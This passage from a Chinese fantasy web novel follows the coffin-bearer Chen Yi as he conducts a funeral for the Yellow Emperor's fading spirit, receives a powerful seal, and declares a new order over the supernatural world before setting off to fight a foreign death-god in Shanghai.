他脸上不见血色,身上那股融合了山河、社稷、兵主的驳杂气息彻底消散,取而代代之的是一种洗尽铅华的纯粹。
像一块被神匠用九天玄雷反复捶打了亿万次的凡铁,所有杂质都已剔除,锋芒尽数内敛。
却比过去任何时候,都更加危险。
没了那些龙鳞,他不再是能随时撬动天地伟力的存在。
但他就是他。
义字堂的杠头,陈义。
这种感觉,好得让他想**。
胖三挣扎了一下,又重重摔了回去,哭丧着脸:“八爷,不是兄弟不给您面子,实在是……裤裆里真就一滴都不剩了。您就当咱刚生完一窝哪吒,让弟兄们先喘口气。”
陈义没理他,径直走到张金城的担架旁,伸手搭在他的脉搏上。
气息细若游丝,但生机未绝。
只是心神燃尽,想要醒来,不知要等到何年何月。
“胖三,电话给秦老。”陈义的声音没有起伏,“告诉他,昆仑的窟窿,补上了。”
“另外,让军方动用最高规格的医疗资源,摸金门的这些人,一个都不能死。”
“医药费,记在义字堂账上。”
“好嘞。”胖三有气无力地应着,颤抖着手去摸卫星电话。
周克将军带着一队医护人员快步赶来,他看着眼前这片神迹般的绿地,再看看陈义,眼神里的情绪复杂到了极点。
震撼、敬畏,还有一丝连他自己都没察觉的恐惧。
他对着陈义,郑重地行了一个军礼。
“陈先生,我代表西北战区,代表所有驻守在此的将士,感谢你!”
陈义受了他这一礼,神色平静。
“我不是为你们,是为这片地。”
“今天这里发生的所有事,烂在你们每个人的肚子里。对外,统一口径,地质活动异常,现已平息。”
“明白!”周克重重点头。
有些秘密,永远不能出现在档案上。
就在这一刻,陈义的身形猛地一顿。
他脑海中,那面古朴的“病历铜镜”悍然浮现。镜面上,代表昆仑的金色心脏强劲搏动,向神州输送着无尽生机。
但在镜面正中央,那个古老、庄严、充满无上威仪的金色符文——“人皇”,骤然爆发出万丈光芒!
它不再是一个死寂的符号。
它是一座被点亮的灯塔。
一道跨越万古时空的敕令。
一个精准无比的坐标,狠狠烙印在陈义的灵魂最深处!
这不是病灶,也不是任务。
这是一份……召唤。
一份不容拒绝,也无法拒绝的召唤!
几乎同一瞬间。
京城,地下指挥中心。秦老正死死盯着面前数十块巨型屏幕。
屏幕上,代表神州气运的无数条能量洪流,正以一种癫狂的姿态,从四面八方奔涌汇聚,冲向同一个坐标!
“坐标锁定了没有!”秦老的声音因极度的激动而嘶哑。
“报告!已锁定!”一名技术人员猛地起身,吼道:“陕西,延安,黄陵县,桥山!”
黄帝陵!
秦老心神剧震。
而昆仑山脚,陈义的双眼中,也清晰地倒映出那座巍峨山陵的轮廓。
“八爷?八爷您怎么了?”胖三刚挂断电话,就见陈义僵在原地,眼神空洞,仿佛丢了魂。
陈义没有回答。
他能感觉到,那道召唤越来越急迫,带着一种日薄西山的悲凉,与一种必须薪火相传的决绝。
这感觉……他太熟悉了。
这是“大限将至”。
炎黄一脉最古老的那位“老祖宗”,即将彻底归于虚无。
他不是病了。
他是……要“死”了。
而自己,作为当世唯一的“炎黄执绋人”,必须去为他送行。
这不是抬棺,也不是伐山破庙。
这是为华夏五千年的源头,举办一场最浩大,也最悲壮的葬礼。
“胖三。”陈义缓缓开口,声音沙哑得像两块石头在摩擦。
“哎,在呢。”
“通知弟兄们,收拾家伙。不回京城了。”
胖三当场愣住:“那……去哪儿?”
陈义抬起头,目光仿佛穿透了**山河,遥望向陕西的方向,一字一顿。
“去黄陵,给轩辕黄帝……上香。”
胖三的嘴巴,缓缓张开,再也合不拢。
他觉得自家八爷是彻底疯了。
刚给神州龙脉做完接骨手术,现在就要去给轩辕黄帝上香?这业务跨度未免太大了点,直接从地质外科干到了民族宗教学。
然而,陈义的下一个动作,让所有质疑都咽了回去。
他并指如刀,对着自己的左手掌心,没有任何犹豫,猛地一划!
金色的血液涌出,却没有滴落,反而在空中凝聚成一个无比复杂的血色符文。
“敕令炎黄,万法归宗。”
他低声吟唱,如同古老神祇的谕令。
“今日之后,摸金校尉一脉,入我执绋人序列。掌山川地理,寻龙点穴,为神州清扫沉珂。”
“此令,天地共鉴!”
话音落,那枚血色符文瞬间化作一道流光,没入担架上昏迷不醒的张金城眉心!
张金城的身体猛然一颤,身上那股属于“盗墓贼”的阴冷晦暗之气,竟被一股堂皇厚重的“土德”之气冲刷、取代。
他眉心处,一个淡金色的“奠”字,一闪而逝。
从此,世间再无摸金
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校尉。
只有执绋人麾下,负责“望气堪舆”的……“土行一脉”。
这是陈义对张金城悍不畏死,协助自己接续龙脉的最高奖赏。
更是他用自己的规矩,为这片地下世界,定下的铁律!
做完这一切,陈义的身体微微地晃了晃,脸上的血色又淡去三分。
“走。”
他只说了一个字,便转身朝军用运输机走去。
胖三等人一个激灵,连忙从地上爬起来,扛着家伙,搀着伤员,快步跟上。
他们不知道去黄陵到底要干什么。
但他们知道,跟着八爷,就没错。
就在他们登机的同时。
京城,秦老的红色专线电话如同催命符般疯狂尖啸。
“报告秦老!美利坚、英吉利、罗斯国……所有监测到的超级势力,其侦测力量已全部聚焦黄陵!”
“报告!国内龙虎山、武当山、青城山……各大洞天福地,均有顶级强者破关而出,方向……黄陵!”
“报告!无数从未记录在案的隐秘传承、古老世家,正像闻到血腥味的鲨群,从神州各地的阴影中钻出!”
“秦老,天下……动了!”
秦老紧握着拳,手背青筋根根暴起。
他盯着大屏幕上那个被无数箭头指向的血色红点,深吸一口气,抓起了另一部电话。
“接陈义。”
电话很快接通,传来胖三的声音:“喂?秦老啊?八爷他……他正歇着呢。”
“让他接电话!”秦老的咆哮声让胖三的耳朵嗡嗡作响。
片刻后,陈义虚弱却依旧沉稳的声音响起:“秦老。”
“黄陵的事,你知道了?”
“知道。”
“你要去?”
“我必须去。”
秦老沉默了。
他听出来了,这不是请求,是告知。
陈义的身份,注定了他必须是这场风暴的中心。
“好。”秦老的声音无比凝重,“我不管你要做什么。我只问你,需要什么?”
陈义看着舷窗外飞速**的云海,眼眸深邃。
“我需要一条路。”
“什么路?”
“一条……从机场到桥山,没有任何闲杂人等打扰的路。”
“我不想在办正事之前,还要费力气,清理一些苍蝇。”
秦老明白了。
他要的是最高级别的清场,和生杀予夺的通行权!
“给你!”秦老斩钉截铁,“我调动西北战区,为你清出一条绝对干净的路!但是陈义,你必须答应我,无论如何,活着回来!”
“我尽量。”
陈义挂断电话,缓缓闭上了眼睛。
这一次的黄陵之行,将比昆仑地心更加凶险万倍。
昆仑的敌人,是看得见的“龙煞”,是纯粹的毁灭。
而黄陵的敌人,是看不见的“人心”,是来自四面八方、抱着各种贪婪目的的……同类。
他们都想在“人皇”这最后的弥留之际,从这位华夏最古老的始祖身上,撕下一块肉,分一杯羹。
可惜。
陈义嘴角勾起一抹冰冷的弧度。
他这个执绋人,只管送葬,不管开席。
谁敢在他的“灵堂”上动筷子。
他就敢把谁,连人带桌子,一起埋了。
第139章 人皇大丧!我来执绋,神佛退散!
三小时后,一架无任何标识的灰色军用运输机,在延安某军用机场的跑道上撕开夜色,稳稳降落。
舱门开启。
没有仪仗队,没有欢迎横幅。
迎接他们的,是两排肃穆挺立、眼神如鹰的士兵,和一列随时能将黄土碾碎的军用越野车队。
一名肩扛将星的中年军官大步上前,身姿笔挺,对着第一个走下舷梯的身影,利落敬礼。
“陈先生,西北战区奉命配合您的一切行动!”
他的声音洪亮,带着钢铁般的质感。
“从这里到黄陵桥山脚下,一百三十公里,双向车道已完全清空,每五公里一处岗哨,保证不会有任何非相关人员靠近!”
陈义面色苍白,只微微颔首,算是回应。
胖三跟在他身后,看着这近乎战时管制的恐怖阵仗,忍不住低声咂嘴。
“八爷,您这面子……现在是真能捅破天了。以前最多是借个重卡,现在直接让一个战区给咱清道。下次是不是能开航母去捞尸了?”
“闭嘴,上车。”陈义的声音透着一丝疲惫。
一行人换乘越野车,在前后军车的护卫下,化作一条钢铁长龙,朝着黄陵方向绝尘而去。
车内死寂。
义字堂的兄弟们都在闭目凝神,抓紧每一秒恢复昆仑一役消耗的元气。
他们都隐约察觉到,这一次的目的地,比过往任何一次都要沉重。
陈义靠着车窗,窗外飞速**的黄土高原在他眼中凝成一片苍凉的底色。
那道来自“人皇”的召唤,像一口沉重无比的暮鼓,正一声声敲击在他的灵魂最深处。
越是靠近桥山,那股苍凉、悲壮、行将寂灭的气息就越是浓郁。
仿佛这整片天地,都在为一位最古老的君王,举行一场无声的哀悼。
一个半小时后,车队在距桥山景区五公里外,缓缓停下。
前方的古朴牌坊下,站着一队人影,拦住了去路。
他们身着统一的青色道袍,头戴九梁巾,手持拂尘。为首的老道白发白须,面色红润,双目开阖的瞬间,竟让周围的空气都泛起一丝微不可察的涟漪。
“停车。”陈义开口。
他推开车门,径直走了下去。
胖三、大牛等人紧随其后,虽然个个气息萎靡,但那股刚从尸山血海里爬出来的悍匪煞气,却丝毫不减,反而因疲惫更显凶戾。
陈义走上前,平静地看着为首的老道。
老道也在打量他。
当老道的目光扫过陈义那苍白的脸色,以及那洗尽铅华后纯粹到空灵的气息时,眼神深处闪过一丝惊讶,随即化为一抹了然于胸的轻视。
“阁下,就是以‘抬棺匠’之名,搅动神州风云的陈义?”
老道开口,声音不大,却有一种钟磬自鸣的威严。
“是我。”
“贫道,龙虎山天师府,玄尘子。”
老道自报家门,语气中是传承千年的骄傲。
“奉祖师之命,在此守护人皇安息之地,已逾三甲子。今日感应人皇气运最终显化,特来主持‘归墟大典’。此乃我道门玄宗之责,闲杂人等,还请就此止步,莫要惊扰了圣驾。”
一番话,冠冕堂皇,滴水不漏。
翻译过来只有一句:这里我们包场了,你一个抬棺材的,滚。
胖三当场就炸了,往前踏了一步,破口大骂:“嘿!你这老牛鼻子,跟谁俩呢?知道我们八爷是谁吗?敢拦八爷的路,信不信我把你这身皮扒了,给你换身孝服套上?”
“放肆!”
玄尘子身后,一名年轻道士眼中寒光一闪,手中拂尘就要甩出。
可他动作刚起,一直沉默的大牛,只是抬眼看了他一下。
仅仅是一眼。
那眼神里没有愤怒,只有一片死寂,是一片埋葬了太多凶物的坟场。
年轻道士的身体瞬间僵住,拂尘再也递不出分毫,只觉得一股冰冷的寒气从脚底直冲天灵盖,仿佛自己只要再动一下,就会被那眼神里的无数凶魂活活撕碎。
玄尘子的瞳孔微微一缩,重新审视起眼前这群煞气冲霄的抬棺匠。
“规矩。”
陈义终于开口,两个字,却让现场所有嘈杂的声音瞬间消失。
“玄尘子道长,你跟我讲规矩?”
玄尘子傲然道:“人皇归墟,乃玄门首重,自然要按我道门的规矩来。需斋戒沐浴,焚香祷告,步罡踏斗,诵念《度人经》九九八十一天,方能送人皇最后一缕气运安然回归天地。你们这群人,满身死气、血气,冲撞了圣驾,谁担待得起?”
陈义笑了。
那笑意里,带着一丝怜悯。
“你的规矩,是‘度人’。听着很慈悲。”
“可你问过‘人皇’,他想不想被你‘度’吗?”
玄尘子脸色一沉:“竖子狂妄!人皇乃万古先祖,岂容你这般亵渎!”
“我不是亵渎。”
陈义摇了摇头,脸上的笑意尽数敛去,取而代之的,是一种极致的森然。
“我只是在陈述一个事实。”
“你们道门,讲究的是‘生’,是‘长生’,是如何从天地间攫取力量。”
“你们不懂‘死’。”
“更不懂,‘送死’的规矩。”
他向前踏出一步。
这一步落下,整座桥山的心脏,都随之停跳了一瞬。
一股无形的波动从他脚下扩散,黄土高原发出沉闷的轰鸣,像是在低头,像是在回应。
玄尘子和身后一众道士,脸色剧变!
他们能清晰地感觉到,这片他们守护了几百年的土地,此刻,竟然对眼前这个年轻人,产生了一种……亲近。
不,是臣服!
“送葬,是我的规矩。”
陈义的声音,如九幽寒冰,又似天宪诏令。
“从古至今,只有抬棺匠,有资格为死者执绋开路。”
“无论是贩夫走卒,还是帝王将相。”
他顿了顿,目光如刀,直刺玄尘子那颗坚守了数百年的道心。
“今天,躺在这里的,不是你们道门的什么‘圣驾’,也不是能让你们借机分润气运的‘老祖宗’。”
“他是一具,即将冰冷的尸体。”
“我来,是奉炎黄血脉之召,为轩辕黄帝……执绋抬棺!”
“此乃天地之大丧!国之大葬!”
“玄尘子,我只问你一句。”
陈义的声音陡然拔高,炸裂长空!
“你,一个外人,凭什么,敢拦我这个孝子贤孙的……送葬之路?!”
轰隆——!
晴空之上,一声炸雷。
整座桥山剧烈颤抖,山道之上,
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无数道凡**眼不可见的金色气运,如长鲸吸水般冲天而起,在空中盘旋、哀鸣,仿佛是在催促,在等待,在迎接它们真正的主人。
玄尘子被这番话震得心神失守,蹬蹬蹬连退三步,脸色煞白如纸。
孝子贤孙?
送葬之路?
他……他竟敢将自己摆在“孝子”的位置上!
他竟敢将人皇的归墟,定义成一场“葬礼”!
这……这颠覆了道门数千年来的认知!这是“飞升”,是“回归”,是天大的祥瑞!可在这个抬棺匠的口中,竟成了一件再简单不过的……丧事。
可是,天地异象,却在明明白白地告诉他。
陈义,说的是对的。
那漫天悲鸣的金色气运,不是祥瑞,而是这位人族始祖,弥留之际,最后的不舍与悲怆。
他等的,从来不是什么道貌岸然的“度人”高功。
他等的,只是一个能为他堂堂正正、风风光光办一场身后事,送他最后一程的……执绋人。
“噗——”
玄尘子一口老血喷出,三百年道心,寸寸龟裂。
他守护了三甲子,自诩天命所归,到头来,却发现自己连灵堂的门都没摸到。
“开路。”
陈义不再看他,只对身后的军官淡淡说了一句。
“等等!”
玄尘子身后,一名中年道士猛地站出,厉声喝道:“就算你说得对!可人皇归墟,气运溃散,必有无数宵小前来觊觎!我等在此,正是为了拦阻邪魔外道!你让他们都进去,除了乱子,谁负责?”
他话音未落。
远处天边,数道强横无比的气息已然破空而来。
有佛光撑开一片虚假净土,有魔气撕裂天穹,有妖气秽云滚滚……
各方闻风而动的“客人”,到了。
胖三紧张地握住了腰间的金瓜锤:“八爷,来者不善!”
陈义却连头都懒得回。
“负责?”
他冷笑一声。
“我的灵堂,我自然会负责。”
陈义缓缓抬起手,对着天空,轻轻打了个响指。
啪。
一声清脆的声响。
下一刻,远在千里之外的京城苏家老宅,地下密室。
那口吞噬了冠军侯凶棺的青铜巨棺,猛地一震!
一股苍茫、古老、饥饿到极致的恐怖意志,跨越空间,瞬间降临在桥山上空!
那些刚刚抵达,正准备大展拳脚的各方高手——无论是佛光中的高僧,还是魔气里的巨擘,亦或妖云中的老怪——在接触到这股意志的瞬间,全都如遭雷击。
佛光,瞬间崩碎!
魔气,当场溃散!
妖云,被撕得一干二净!
他们的灵魂在战栗,在尖叫!
那是一种源自生命最本源的恐惧!是草叶遇见了焚天业火,是羔羊遇见了饿了亿万年的太古凶神!
跑!
这是他们神魂中烙下的唯一念头。
一时间,刚刚还风起云涌的桥山上空,瞬间清净。
各路“神仙”跑得比来时快了十倍,连一道气息都不敢在人间留下。
做完这一切,陈义才慢悠悠地转过头。
他看着那个目瞪口呆的中年道士,嘴角勾起一抹森然的弧度。
“现在,还有谁对我的规矩……有意见吗?”
第140章 人皇归墟!从今往后,我即是规矩!
无论是玄尘子和他身后的龙虎山道士,还是旁边全副武装的士兵,每一个人的身体都僵住了。
他们的思维仿佛被一只无形的手扼住,无法思考。
就在刚才那一瞬间,一股股足以碾碎灵魂的恐怖意志从四面八方涌来。
那不是错觉。
那是神祇的觊觎。
可仅仅是陈义一个响指,那些铺天盖地的威压便烟消云散,退得干干净净。
仿佛一群嗜血的鲨群,正要扑上撕咬。
结果海底一头远古巨鲸只是翻了个身,露出了山脉般的脊背,便吓得所有掠食者亡命奔逃。
陈义,就是那个能让巨鲸翻身的人。
“没……没意见了。”
之前还叫嚣着的中年道士,此刻脸色惨白如纸,嘴唇哆嗦着,连一句完整的话都说不出来。
玄尘子吐出一口悠长的气息,像是吐出了半生的执念。
他对着陈义,深深弯下了腰,行了一个道门最重的大礼。
“是贫道着相了。”
“陈先生……不,陈八爷,人皇的归墟大典,当由您来主持。”
“我天师府上下,愿为八爷护法,绝不让任何宵小,惊扰了这扬国之大葬!”
他彻底想通了。
规矩,从来都是由力量最大的人来定。
在“送葬”这件事上,眼前这个年轻人,就是天。
陈义看了他一眼,神色缓和了些许。
“有心了。”
说完,他不再停留,迈开步子,走向牌坊后那条通往山巅的古道。
胖三等人立刻跟上。
经过玄尘子身边时,胖三还特意停下,重重拍了拍他的肩膀,挤眉弄眼地压低声音:
“道长,想开点。跟着我们八爷干,有前途!你看我们,以前就是个抬棺材的,现在又是接骨又是送皇,指不定下次就去给阎王爷搬家了。入股不亏啊!”
玄尘子嘴角剧烈抽搐,竟是哭笑不得。
这条通往黄帝陵核心的古道,此刻空无一人。
两旁是数万棵千年古柏,树冠如墨,遮蔽天日。
空气沉重得如同水银,弥漫着一股肃杀与终结的气息。
越往上走,那股属于“人皇”的苍凉气息就越是浓郁。
整座山都在哀鸣。
大地的灵气正在以一种不可逆的方式枯萎、消散。
这不是飞升。
这是死亡。
终于,众人穿过一片巨大的祭祀广扬,来到了一座巨大的圆形土丘前。
轩辕黄帝衣冠冢。
陈义却知道,这土丘之下,埋的不是衣冠。
是人皇留在这人间,最后一缕印记。
土丘正前方,虚空之中,一个由纯粹金色光芒构成的古朴王座,正在缓缓变得透明。
王座之上,端坐着一个模糊、高大、身穿古老冕服的虚影。
面容无法看清。
可他仅仅是坐在那里,就让空间凝固,让万物臣服。
他就是人皇。
或者说,是人皇驻留在这片土地长达五千年的,一缕执念。
看到陈义的到来,那道虚影似乎动了一下。
整个空间的时间流速骤然变慢。
一幅幅波澜壮阔的画面,没有预兆地,直接在陈义的脑海中炸开。
他看见了,茹毛饮血的先民,在猛兽与天灾的夹缝中艰难求生。
他看见了,人皇身披兽皮,手持石斧,带领部落,斩荆棘,驱猛兽,辨五谷,制衣冠。
他看见了,阪泉之野,与炎帝的惊天一战,最终促成了华夏部落的第一次大融合。
他看见了,涿鹿之战,尸横遍野,血流漂河,他最终斩落蚩尤的头颅,奠定了华夏一族的根基。
定都城,设百官,创文字,定律法,观天象,制历法……
一个松散的部落联盟,一步步被打造成一个文明的雏形。
画面飞速流转,是荣耀,是开拓,是奠基。
但紧接着,画面一转。
洪水滔天。
瘟疫肆虐。
子孙相残。
王朝更迭。
异族入侵。
山河破碎……
五千年的历史,辉煌灿烂,也血泪斑斑。
最终,所有的画面都消失了。
只剩下那道端坐在王座上,愈发暗淡的虚影。
他没有开口,但一个宏大而悲凉的意志,直接在陈义的灵魂中响起。
“值得吗?”
这是人皇最后的疑问。
这五千年的基业,这历经磨难的血脉,这一切的牺牲与苦痛,真的……值得吗?
这是对“道心”的终极拷问。
回答“值得”,便是罔顾了那千千万万在苦难中死去的冤魂。
回答“不值得”,更是对这位人族始祖,对整个华夏文明的彻底否定。
这是一个必死的局。
跟在后面的玄尘子等人,虽然看不见幻象,却能感觉到那股拷问灵魂的宏大意志,一个个胸口发闷,几欲窒息。
他们知道,陈义的回答,将决定这扬“归墟大典”的最终走向。
所有人的目光,都盯在陈义身上。
陈义沉默着。
他站在原地,如同一座亘古的雕像。
许久。
他缓缓抬起头,看着那道即将消散的虚影,并未回答那个问题。
他只是转过身,对着身后同样神情肃穆的胖三、大牛等人,用一种平静到冷酷的语调,下达了命令。
“义字堂,摆家伙!”
胖三等人浑身一震!
没有任何犹豫,他们立刻将背上那几根跟随他们走南闯北,沾染了无数阴煞,又被无尽阳气淬炼过的乌木杠木,重重地顿在地上!
咚!
咚!
咚!
沉闷的声响,如同敲响古钟,在寂静的陵园中回荡。
他们没有结成“八仙抬棺阵”。
也没有摆出任何攻击或防御的架势。
他们只是按照义字堂最古老、最传统的规矩,用杠木和缚龙索,摆成了一个用于祭奠的……
灵位。
一个没有牌位,空空如也的灵位。
做完这一切,陈义重新转向那道人皇虚影,微微躬身。
他的声音不高,却清晰地传入了在扬每一个人的耳中,也传入了那道即将消散的意志之中。
“功过是非,自有后人评说。”
“我辈执绋,不问前尘,不判功罪。”
“只管……送行。”
他顿了顿,抬眼直视着虚影。
“您老人家,累了五千年,也该歇歇了。”
“无论您为这个族群背负的是荣耀还是罪孽,都该入土为安。”
“将这脚下的路,将这头顶的天……”
“彻彻底底地,留给我们这些活着的后人。”
他的话,没有慷慨激昂,没有歌功颂德,甚至带着一丝不敬的“催促”。
但就是这番话,让那道人皇虚影,猛地一颤。
他似乎……笑了。
那是一种卸下万古重担的释然。
一种终于可以安然长眠的欣慰。
他等的,从来就不是一个来评判他功过的审判官,也不是一个来继承他王位的继承者。
他等的,就是一个能对他说一句“您老歇着吧,剩下的交给我们了”的……后辈。
一个能堂堂正正,为他操办身后事,让他安心上路的抬棺匠。
嗡——
金色的王座,连同那道模糊的虚影,在这一刻,彻底化作了漫天的金色光点。
一扬盛大而无声的烟火。
光点没有消散,反而飞速地向着中心汇聚、压缩、凝结。
最终,在所有人震撼到失语的目光中,一枚通体由纯粹金色光芒构成,上面篆刻着日月星辰、山川草木、鸟兽鱼虫的古朴大印,缓缓地,落向了陈义伸出的掌心。
大印入手温润,却沉重到不可思议。
那不是物理的重量,而是整个神州山河的重量。
它不是龙鳞,胜似龙鳞。
【人皇印】!
它不赋予陈义任何具体的力量,如控水、掌兵、移山。
它赋予的,是这片土地上,最至高无上的一种权柄——
为所有与“炎黄”相关的阴阳之事,“立规矩”的资格!
从今往后,他陈义,就是行走的法度。
随着人皇印入手,整座桥山那悲凉、沉重的气息一扫而空。
取而代之的,是前所未有的生机与活力。
大地龙脉奔腾,万千古柏迎风而唱。
玄尘子等人呆呆地看着手托大印的陈义,眼神中只剩下最深的敬畏与臣服。
他们躬身下拜,这一次,心悦诚服。
陈义却没有看他们。
他转身,走到那个由杠木搭成的简陋“灵位”前,伸出另一只手,以指为笔,以气为墨,在虚空中,一笔一划,写下了四个煌煌大字。
【华夏始祖轩辕氏】
写完,他对着灵位,深深三鞠躬。
“义字堂,送老祖宗……上路!”
“恭送老祖宗!”
胖三、大牛等人齐声怒吼,声震云霄。
一扬横跨五千年的葬礼,就此落幕。
陈义直起身,握紧了手中的【人皇印】,感受着其中与这片土地血脉相连的磅礴意志。
就在此时,秦老的电话,又一次急促地打了进来。
“陈义!神州境内所有监测站报告!我国……我国的‘国运指数’,在刚才的一分钟内,整体跃升了百分之十!这……这是神迹!你到底做了什么?!”
秦老的声音,激动到完全失控。
陈义看着杠木搭成的牌位,又看了看手中沉甸甸的人皇印,语气平静,却带着一股无可撼动的分量。
“老祖宗的丧事,办完了。”
“接下来……”
“该给这满天下的魑魅魍魉,牛鬼蛇神,立立新朝的规矩了。”
第141章 当有神明流血祭旗!
桥山之巅,死寂无声,唯有穿过万千古柏的烈风,发出沉闷如海的涛响。
那股压垮神魂的悲凉与死寂已然散尽,取而代之的,是一种沛然莫御的磅礴生机。
大地龙脉在山体之下奔腾欢跃,每一次脉动,都让这片古老的土地迸发出撼动人心的全新活力。
玄尘子和他身后的龙虎山道士们,依旧僵硬地保持着躬身下拜的姿势。
他们的头颅深深低下,不敢抬起分毫。
望向陈义的眼神,已彻底化为一种不含丝毫杂质的、最原始的敬畏。
在“送葬”这个古老的行当里,眼前这个年轻人,就是规矩。
是天。
“都起来吧。”
陈义声音平淡,轻轻一挥手,那枚由乌木杠木搭成的简易灵位便化作流光,无声地回到了胖三等人的背上。
“陈八爷……”玄尘子直起身,神态间再无半分高人风骨,只剩下十足的恭谨,“此件事了,我天师府愿遵八爷号令,镇守桥山,确保再无宵小敢惊扰始祖安宁。”
陈义的目光扫过他。
这位龙虎山高人,此刻像个在先生面前等待发落的蒙童。
“不必。”
陈义摇头。
“老祖宗已经上路,这里今后就是一处清净地,用不着你们这些神神道道的人守着。”
“有这份心思,不如回去多念念经,管好自家山头的事。”
一旁的胖三听了,立刻心领神会,他凑到玄尘子身边,压低声音挤眉弄眼。
“道长,听见没?我们八爷说,各回各家,各找各妈,别在这儿杵着影响我们瞻仰先人了。”
玄尘子一张老脸涨得通红,嘴角剧烈地扯动,终究没敢吐出半个反驳的字。
他只能再次对着陈义行了一个大礼,而后带着一众弟子,近乎是狼狈地逃下了山。
军方的人员也悄无声息地撤离,周遭很快恢复了绝对的宁静。
“八……八爷……”
胖三搓着手,两只眼睛死死黏在陈义掌心那枚古朴的【人皇印】上,几乎要流下口水。
“这……这就是传国玉玺?乖乖,这玩意儿要是拿去潘家园,能换一辈子茶叶蛋吃到撑死吧?”
说着,他那只油乎乎的手就不安分地伸了过来。
“啪!”
陈义反手一巴掌拍在他脑门上。
力道不重,胖三却像是被踩了尾巴的猫,嗷地一嗓子跳开。
“这是人皇印,不是你的茶叶蛋。”
陈义语气里听不出喜怒。
“它是规矩,是法度,是这神州大地上,阴阳两界所有事情的最高授权。”
他摊开手掌。
那枚大印看似古朴无华,内里却像是一片被封印的完整星空。
日月在其中流转,山河于其内变幻。
它不是任何一种已知的龙鳞,却又仿佛是所有龙鳞的源头与最终归宿。
“那它有啥用?”猴子也好奇地探过头,他心思活络,想得更实际,“能让咱们抬棺材的时候省点儿劲不?”
“省劲?”
陈义笑了,那笑容里带着一种难以言喻的霸道与从容。
“它不能让咱们省劲。”
“但它可以让所有不守规矩的东西,直接消失。”
话音落下的瞬间,陈义五指收拢,握紧【人皇印】,高高举起!
他未发一言。
可一股无形的意志,以他为中心,以【人皇印】为媒介,刹那间横扫整片神州大地!
北至冰封的漠河,南至湿热的南海岛礁。
西至巍峨的帕米尔,东至浩瀚的东海之滨。
无论是深山里的千年老妖,还是古墓中的凶厉尸王;无论是都市中游荡的怨魂,还是江河湖海里盘踞的水怪;无论是接受香火供奉的山神土地,还是那些自封为神、蛊惑人心的邪祟……
这一刻,所有超脱于凡俗之外的存在,灵魂深处,都同时响起了一个冰冷、清晰、不容抗拒的声音。
“奉炎黄之名,立新朝之法:”
“即日起,神州疆域之内,凡亡者归途,皆由执绋人统管;凡阴阳秩序,皆由义字堂重立。”
“凡未经册封之山神野祀,凡未经准许之阴魂鬼魅,凡窃据灵脉之妖魔邪祟,限尔等于七日之内,自行前往各地城隍庙登记在册,听候审判。或散去修为,归入轮回;或接受敕封,纳入正统。”
“七日之后,凡不遵此令者,视为逆乱阴阳,动摇国本。”
“义字堂将依天律、按地法、遵人道,予以清缴。”
“届时——”
“神魂俱灭,再无来生。”
“此为,敕令!”
最后两个字,是超越雷霆的煌煌天威,在每一个“非人”存在的灵魂最深处,轰然炸响!
一时间,神州大地,万籁俱寂!
东海深处,三尊刚刚安分没多久的庞然大物猛地从沉睡中惊醒,搅动起万丈狂澜,可在感应到那意志来源的瞬间,又立刻匍匐下来,巨大的头颅上只剩下最纯粹的惊恐与臣服。
西蜀群山,某处不为人知的洞府内,一只修行了近三千年的九尾老狐,吓得直接打翻了面前的丹炉,九条雪白的狐尾死死夹在身后,瑟瑟发抖。
中原大地,一座汉代王陵深处,一尊本已快要凝聚出实体的千年尸王,身上的滔天煞气被这道敕令硬生生冲散三成,它发出不甘的低吼,却兴不起一丝一毫的反抗之念。
这道敕令,比任何军队的征讨都更霸道。
比任何法术的镇压都更彻底。
它不是在请求,更不是在商量。
它是在颁布一部新的、覆盖整个阴阳两界的……宪法。
而陈义,就是唯一的立法者与执法官。
“我……我去……”胖三嘴巴张得能塞下一个拳头,喃喃自语,“八爷,您这是……要搞全国阴间户口普查啊?”
陈义收回手,【人皇印】的光芒渐渐隐没,重新化为一枚古朴的印章,被他收入怀中。
“不是普查。”
陈义的眼神平静如深潭。
“是清扫。”
“把这片土地上,五千年来积攒的垃圾,一次性扫干净。”
“老祖宗把这摊子交给了我们,我们就得让它干干净净。”
“可……可万一有头铁的刺儿头呢?”老七有些担忧地问。
“那就打到他听话。”
陈义的语气不起波澜,像是在说一件微不足道的小事。
“或者……让他永远闭嘴。”
就在这时,他怀中的【病历铜镜】忽然微微一烫。
陈义取出铜镜。
镜面上,原本已经清朗一片的神州地图上,东南沿海某座国际大都市的上空,毫无征兆地亮起了一个刺眼至极的巨大红点!
那红点中,充斥着暴戾与神圣两种截然相反的矛盾气息。
无数黑色的丝线正从红点中疯狂滋生,如同扩散的癌细胞,散发着一股与这片土地格格不入的、充满了掠夺与征服意味的死亡气息。
几乎是同时,秦老的电话再次打了过来。
这一次,他的声音不再激动,而是压抑着一种即将喷发的愤怒与急切。
“陈义!出大事了!”
“就在刚才,你的‘敕令’发出之后,西方的‘圣殿’做出了回应!”
“一尊自称‘冥界审判官’、‘亡者引路人’的强大存在,撕裂空间,降临在了沪上外滩!他以神降的方式,占据了一座废弃的古老银行大楼,将方圆一公里化作了他的‘神国’领域!”
“所有误入那片区域的活物,生命力都在被疯狂抽取!他……他公开回应你的敕令,他说……”
秦老的声音顿住,每一个字都像是从牙缝里挤出来的。
“他说,死亡,是神的权柄。”
“这片土地上的所有灵魂,无论生死,都将是吾主花园里的藏品。”
“至于那个自称‘执绋人’的凡人……”
“若想保留开口说话的权力,就亲自来,跪在我的面前,献上那枚有趣的印章。”
这已经不是挑衅。
这是赤裸裸的侵略!
是在人皇刚刚归墟,新法刚刚颁布的时刻,对陈义,对整个炎黄一脉最直接、最狂妄的宣战!
“知道了。”
陈义的回答只有三个字。
平静得没有一丝波澜。
他挂断电话,目光落在铜镜上那个愈发刺眼的红点,眼神幽深,看不出任何情绪。
然后,他转过身,看向身后那群同样听到了电话内容,一个个已是双目赤红、怒不可遏的兄弟们。
“胖三。”
“在!”
“通知秦老,清空沪上那栋楼周围十公里,告诉他,我们不是去谈判。”
“是去执法。”
“大牛。”
“在!”
“把‘迎宾棺’擦亮点,有位贵客,怕是要在里面住一辈子了。”
“猴子,老七。”
“在!”
“家伙事儿都带齐,特别是摸金门那块‘七巧分金盘’,我倒要看看,这外来的野神,在我华夏地界,占的是什么风水,入的是哪门子阴阳!”
他一道道命令下达。
义字堂那股亡命徒的狠戾与煞气,再次冲天而起!
最后,他抬起头,望向远处云海翻腾的天际,声音不大,却让整座桥山都为之震颤。
“出发。”
“去沪上。”
“我刚立的规矩,总得有个不知死活的东西,来开第一刀。”
“就拿这个所谓的‘审判官’……”
“祭旗!”
第142章 冥神算个屁!连你的神国一起抬走!
